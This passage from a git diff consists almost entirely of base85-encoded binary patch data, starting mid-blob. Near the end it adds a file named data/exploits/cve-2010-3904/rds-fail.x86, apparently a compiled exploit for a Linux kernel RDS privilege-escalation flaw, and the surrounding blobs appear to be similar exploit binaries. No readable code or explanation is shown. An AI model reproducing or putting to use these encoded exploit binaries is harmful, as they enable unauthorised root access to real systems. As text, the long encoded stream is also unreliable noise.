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 WmF_F#%76c$N>`{GT3sHJ|NjG9U&+k? literal 0 HcmV?d00001 diff --git a/data/exploits/cve-2010-3904/rds-fail.x86 b/data/exploits/cve-2010-3904/rds-fail.x86 new file mode 100644 index 0000000000000000000000000000000000000000..b55fdaf1e932528dc0aaf4f66aece905a0373d06 GIT binary patch literal 91488 zcmc${4SW>U**83!49O-e%mS-Mjk4&diA2pR)~rO0kU*-a3xR-wid7MjS_->KsC;Cd zUC3b=r3J0F+S=OQwYT22_pMD45wb~02r7o4l7K+KuNek3e3&mW`~0snvq=zr-}m|b z-skrOc4y|C>s;shI@h_**X+uoDU%!yhmiP77Lo;ex-Cf%#^L(UxmMmd!7B_AvV@C; z3weG5o~{Ko)@KMkxCNe{_kkef9kf0hfWqYxgcLg;sD&xWpMre)yo6`^P`-%I)X#$t z;d0g=w5&aotY9_;Ul} 